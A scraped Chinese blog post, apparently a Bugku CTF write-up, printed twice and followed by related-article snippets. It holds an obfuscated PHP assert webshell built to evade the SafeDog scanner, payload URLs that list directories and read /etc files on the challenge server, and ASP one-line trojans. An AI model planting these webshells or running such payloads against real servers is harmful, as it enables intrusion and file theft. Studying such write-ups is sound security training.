题目描述:

题目描述:
                              
上面的php进行格式化之后:
<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET['s']) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET['s']都会被解析成相应的函数,之后再执行
assert($_GET['s'])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 %27是单引号 '  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt
 
 
 试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
 http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf')) http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
 
 
 
知识点
explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。
    大于 0 - 返回包含最多 limit 个元素的数组
    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
    0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval('echo 1;');
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399
                              
上面的php进行格式化之后:
<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET['s']) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET['s']都会被解析成相应的函数,之后再执行
assert($_GET['s'])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 %27是单引号 '  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt
 
 
 试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
 http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf')) http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
 
 
 
知识点
explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。
    大于 0 - 返回包含最多 limit 个元素的数组
    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
    0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval('echo 1;');
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399

bugku 过狗一句话的更多相关文章

  1. Bugku-CTF之过狗一句话(送给大家一个过狗一句话)

    Day25 过狗一句话   http://123.206.87.240:8010/ 送给大家一个过狗一句话<?php $poc="a#s#s#e#r#t"; $poc_1=e ...

  2. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  3. Bugku web(1—35)

    1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器 打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入 ...

  4. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  5. 实战入侵(突破FCK+安全狗上传)

    PS:有点尴尬,二次上传突破FCK,免杀马儿过狗. 刚开始和超霸一起弄,TMDGB.弄到四点多,早上尼玛七点多的又去考试,虽然考试还是睡着了,但是TMDGB感觉日子好充实啊! FCK上传地址如下所示: ...

  6. BUGKUctf-web-writeup

    ---恢复内容开始--- 找到了个ctf平台.里面的web挺多的.终于将web题目写的差不多了. Web 签到题 加群就可以了 Web2 直接F12就看到了 文件上传测试 Burp抓包 文件名改成 1 ...

  7. 创造tips的秘籍——PHP回调后门

    作者:Phithon 原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 最近很多人分享一些过狗过盾的一句话, ...

  8. 关于Safe DOG的文件上传bypass

    Author:倾旋payloads@aliyun.com本文由科拉实验室成员倾旋原创文章 Part 1 分析 此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么 ...

  9. php一句话后门过狗姿势万千之传输层加工【三】

    既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...

随机推荐

  1. PHP 中 16 个魔术方法详解

    PHP 中 16 个魔术方法详解   前言 PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用. 魔术方法包括: __constru ...

  2. selenium 百度登录

    private String baseUrl="http://www.baidu.com/"; --------- @Test public void testLoginB() t ...

  3. 10.3.4参数绑定 bind

    Count_if算法,类似find_if,此函数接受一对迭代器,表示一个输入范围,还接受一个谓词,会对输入范围中的每个元素执行.Count_if返回一个计数值,表示谓词有多少次为真.    使用bin ...

  4. oracle dataguard配置

    1.archivelog设置:(存档模式) 2.standy controlfile 设置: alter database create standby controlfile as '/data/o ...

  5. java.awt.Font

    显示效果 Font mf = new Font(String 字体,int 风格,int 字号);字体:TimesRoman, Courier, Arial等风格:三个常量 lFont.PLAIN, ...

  6. 【STM32H7教程】第59章 STM32H7的DAC基础知识和HAL库API

    完整教程下载地址:http://www.armbbs.cn/forum.php?mod=viewthread&tid=86980 第59章       STM32H7的DAC基础知识和HAL库 ...

  7. RemoteViews 整理

    前言 RemoteViews表面意思就是远程的view,这个就很难理解了,远程的view.但是英语是抽象,remote本身就是偏僻的,偏远的意思. 所以remoteViews 就是地方view,天高皇 ...

  8. 【转】C#路径中获取文件全路径、目录、扩展名、文件名称

    C#路径中获取文件全路径.目录.扩展名.文件名称 原文链接:https://www.cnblogs.com/JiYF/p/6879139.html 常用函数 需要引用System.IO   直接可以调 ...

  9. 【13】堆排序 最小K个数

    题目 输入整数数组 arr ,找出其中最小的 k 个数.例如,输入4.5.1.6.2.7.3.8这8个数字,则最小的4个数字是1.2.3.4. 收获 优先队列实现 (n1,n2)->n2-n1是 ...

  10. 使用 navigator.sendBeacon() 上报数据

    http://kaifage.com/notes/76/navigator-sendBeacon.html 如某些统计系统,在页面unload时,如果要上报当前数据,采用xhr的同步上报方式,会阻塞当 ...